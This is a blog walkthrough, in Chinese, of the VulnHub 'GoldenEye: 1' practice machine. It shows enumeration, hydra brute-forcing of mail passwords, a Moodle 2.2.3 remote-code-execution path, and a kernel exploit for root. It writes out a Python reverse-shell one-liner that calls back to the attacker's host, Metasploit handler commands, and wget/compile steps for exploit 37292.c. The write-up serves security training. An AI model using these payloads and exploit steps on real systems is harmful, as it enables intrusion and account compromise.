『VulnHub系列』GoldenEye: 1-Walkthrough
靶机地址
难度:中等
靶机发布日期:2018年5月4日
靶机描述:I recently got done creating an OSCP type vulnerable machine that’s themed after the great James Bond film (and even better n64 game) GoldenEye. The goal is to get root and capture the secret GoldenEye codes - flag.txt.
I’d rate it as Intermediate, it has a good variety of techniques needed to get root - no exploit development/buffer overflows. After completing the OSCP I think this would be a great one to practice on, plus there’s a hint of CTF flavor.
I’ve created and validated on VMware and VirtualBox. You won’t need any extra tools other than what’s on Kali by default. Will need to be setup as Host-Only, and on VMware you may need to click “retry” if prompted, upon initially starting it up because of formatting.
博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]
工具、知识点和漏洞
- nmap
- dirb
- gobuster
- searchsploit
- metaspaloit
存疑、待解决
- 为什么利用MSF提供的exploit/multi/http/moodle_cmd_exec无法反弹shell
0x00、信息收集
靶机IP:192.168.0.107
nmap -sP 192.168.0.0/24
端口和服务
nmap -sS -sV -T5 -A -p- 192.168.0.107
页面、目录枚举
dirb http://192.168.0.107 -X .php,.txt,.zip,.html
gobuster dir -u http://192.168.0.107 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
- /index.html
- /server-status
http://192.168.0.107/
http://192.168.0.107/sev-home/
到了这里就没信息了?看了一下首页的源代码,发现有个terminal.js的脚本,尝试着访问一下
http://192.168.0.107/terminal.js
使用burpsuite的Decoder模块解码(HTML)
最初使用Boris:InvincibleHack3r
尝试登录/sev-home
,结果没能登录成功,随后把用户名改成了boris
,密码还是用InvincibleHack3r
,登录成功了。
这是截止目前为止获得的唯一线索了,所以接下来肯定是跟邮件有关系了
之前nmap扫描的时候还有两个端口:55006、55007,上面说pop3服务运行在一个非常“高”的非默认端口,那么这两个端口就有可能是有一个是跑着pop3服务的,浏览器上访问发现是55007
或者用nmap识别一下
Please email a qualified GNO supervisor to receive the online GoldenEye Operators Training to become an Administrator of the GoldenEye system
从源代码中我们可以知道Natalya Boris就是GNO的主管:Qualified GoldenEye Network Operator Supervisors: Natalya Boris
接下来用hydra爆破一下邮箱密码,用户名用natalya
和boris
,所以需要新建一个包含这两个用户名的文本文件gedit user.txt
或者用echo -e 'natalya\nboris' > user.txt
echo -e 'natalya\nboris' > user.txt
hydra -L user.txt -P /usr/share/wordlists/fasttrack.txt 192.168.0.107 -s 55007 pop3
如果你用echo将两个用户名写入到user.txt文件中,是不需要先执行gedit user.txt的。
得到了两对用户名密码
boris:secret1!
natalya:bird
nc登录邮箱
关于pop3命令操作,可以参考POP3 指令简介篇
换另一个账号登录,得到用户名密码xenia:RCP90rulez!
根据邮件中的提示修改kali的/etc/hosts
文件,然后使用前面获得的用户名和密码登录http://severnaya-station.com/gnocertdir/
Wappalyzer识别出这是一个开源的CMS系统:Moodle
。因为是第一次接触这个CMS,于是就四处点了点,结果发现了一封邮件,从内容来看,是一个叫doak的用户发的,使用hydra爆破得到doak
用户的密码为goat
。
在修改个人设置的地方还可以上传图片
nc登录邮箱之后得到另一组用户名密码dr_doak:4England!
使用新的账户密码登录CMS,在私人文件处发现了一个s3cret.txt文件
得到了一个线索:admin(adm1n)用户的密码可能在/dir007key/for-007.jpg里面
看到这里了,请再给我一丢丢耐心继续看下去~
下载图片,进行一波隐写分析~
base64解码,得到xWinter1995x!
,看起来像是个密码
点着点着忽然发现了浏览器标签上有个2.2.3,这会不会是Moodle的版本号?
Google搜索后发现有RCE漏洞,而且可以用MSF
0x01、getshell
祭出MSF
设置好参数之后,心想着getshell了吧,结果MMP,没有反弹shell
use exploit/multi/http/moodle_cmd_exec
set rhost severnaya-station.com
set targeturi /gnocertdir
set username admin
set password xWinter1995x!
run
看了一下老外写的Walkthrough,发现他是到exploit-db上搜了一下,找到了MSF中exp的源码,源码中提示需要修改Moodle中的Spell engine
以admin
用户登录Moodle,修改Spell engine
为PSellShell
满心欢喜的以为run之后就能getshell了,结果还是不行~
本来想改改MSF用的exploit,无奈有点菜~
后来在网上搜到说可以用另外一种反弹shell的方式,步骤如下:
第一步:在Home / ► Site administration / ► Server / ► System paths
中添加反弹shell的代码
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.108",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
第二步:在 Home / ► Site administration / ► Plugins / ► Text editors / ► TinyMCE HTML editor
中将Spell engine改为PSpellShell
第三步:在kali上监听端口
nc -lnvp 1234
第四步:在Home / ► My profile / ► Blogs / ► Add a new entry
随便填点东西,然后点击下图中红框的Toggle spellchecker
,之后就获得shell了
获取shell之后要做的第一件事是使用Python获取一个tty,不然有些命令是无法执行的,这一步很关键。
python -c 'import pty; pty.spawn("/bin/bash")'
如果你想使用clear
清屏,那么只需要给TERM这个环境变量赋值screen
即可
export TERM=screen
0x02、提权
关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py、LinEnum.sh.
如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux
先在kali上开启HTTP服务
python -m SimpleHTTPServer 65534
使用wget下载linuxprivchecker.py脚本到靶机的tmp目录
因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的
cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py
为了便于查看收集到的信息,我将结果输出到report.txt文本中,之后使用less查看
python linuxprivchecker.py > report.txt
less report.txt
靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。
进入之后先找一下flag,常规思路就是当前用户的目录和/home目录里面“扫荡”一下
查看/etc/passwd发现有四个用户,但三个新建的用户都是无法登录系统的:/usr/sbin/nologin
- root
- boris
- natalya
- doak
还发现使用了PostgreSQL,对应的用户是postgres,而且他可以登录系统
查看了几个用户的home目录,发什么发现
SUID权限可执行文件,发现有个/usr/bin/mtr
,但是不知道能不能利用
find / -perm -u=s -type f 2>/dev/null
当前用户可写文件,发现一堆,但是极大多数都是没用的(不过我把/var下的文件也给过滤了,里面应该有数据库连接的密码),所以我先把结果输出到文本文件,然后使用grep加上关键字去筛选。
find / -writable -type f 2>/dev/null >/tmp/report.txt
grep -Ev '/proc|/sys|/var' /tmp/report.txt
john爆破一下,得到ops的密码是123,登录/sev-home之后没发现什么有用的东西
其实boris的密码我们之前就已经知道了,就是登录/sev-home时使用的boris:InvincibleHack3r
echo 'boris:$apr1$vg2drJim$wUDKP9TLw5jq4GS5jq2240\nops:$apr1$mVvEblRU$oHDbEs4QP2YTUG25Z1PoP' > hash.txt
john hash.txt
john --show hash.txt
由于前面查找可写文件的时候把/var给过滤了,里面的有些东西我们没有看,比如数据库连接的配置文件
你能明白在反弹的shell里面一不小心按了Ctrl+C,心有多痛吗?所有我决定祭出MSF,使用它接收反弹的shell,然后升级成的meterpreter x86/linux
的shell
msfconsole
use exploit/multi/handler
set payload cmd/unix/reverse_python
show options
set lhost 192.168.0.108
set lport 1234
run
background
sessions -l
sessions -u 2 # 需要升级的session的id
sessions 3 # 升级之后,切换到3
这里主要是为了防止一不小心按了Ctrl+C之后,TMD需要重新反弹shell,演示如下图所示,它不香吗?
查看计划任务,无果
cat /etc/crontab
查找sudo权限命令,需要输入密码
sudo -l
内核提权走一波(内心是极不情愿用内核提权的~,还不是因为菜)
跑了一下提权时收集信息的脚本,发现有一个/usr/bin/cc
/usr/bin/cc是来自Unix的C语言编译器,其实它只是一个软链接,最终的实体文件是/usr/bin/clang
由于靶机没有安装gcc,所以我们可以用/usr/bin/cc编译exp
把下图红框部分的gcc改成cc
cd /var/www/html
cp /usr/share/exploitdb/exploits/linux/local/37292.c .
gedit 37292.c
kali开启Apache2服务,将修改好的文件用wget下载到靶机上,用cc编译,赋予可执行权限后,运行exp
service apache2 start
wget http://192.168.0.108/37292.c
cc -o exp 37292.c
chmod +x exp
./exp
一波"耻辱"内核提权拿下root权限,如果你知道其他的提权方法,请一定告诉我
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。更多VulnHub靶机的Walkthrough,请访问本人博客(https://blog.csdn.net/weixin_44214107)。欢迎扫描下方个人微信二维码与我交流。我是ins1ght.